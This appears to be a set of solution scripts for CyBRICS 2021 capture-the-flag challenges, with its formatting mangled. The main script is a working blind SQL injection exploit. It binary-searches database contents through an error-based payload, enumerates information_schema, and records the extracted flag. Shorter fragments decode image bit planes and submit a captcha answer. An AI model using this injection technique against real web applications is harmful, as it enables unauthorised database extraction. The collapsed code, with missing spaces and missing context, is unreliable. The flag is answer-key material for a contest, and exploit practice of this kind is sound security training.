url = "http://announcement-cybrics2021.ctf.su/" # sql = "select database()" # announcement # sql = "select group_concat(table_name) from information_schema.tables where table_schema = database()" # emails,logs # sql = "select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'emails'" # email,id,timestamp # sql = "select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'logs'" # log sql = "select * from logs"# flag cybrics{1N53r7_0ld_900d_5ql} result = ""
for i inrange(1, 100): left = 32 right = 128 while left < right: mid = int((left + right - 1) / 2) payload = f"' or if((ascii(substr(({sql}),{i},1))>{mid}),1,cot(0)), NOW()) #" data = { "digest": md5(payload.encode('utf-8')).hexdigest(), "email": payload } res = requests.post(url=url, data=data) if"cot"in res.text: right = mid else: left = mid + 1 # print(f"[*]New left is: {left} and right is: {right}") result += chr(int((left + right) / 2)) print(f"[+]Result new is: {result}")
data = np.array(Image.open("./tmp.png", "r")) out = [] for k inrange(7, -1, -1): res = data // 2 ** k & 1 out.append(res * 255) b = np.hstack(out) Image.fromarray(b).show()
captcha = input("Enter the captcha you have seen in the window:") try: response = session.post("https://captf-cybrics2021.ctf.su/", data={"answer": f"{captcha}"}) except: print(f"[*] Hand up failed.") continue print(f"[+] Handed up {captcha} with response {response.content.decode()}")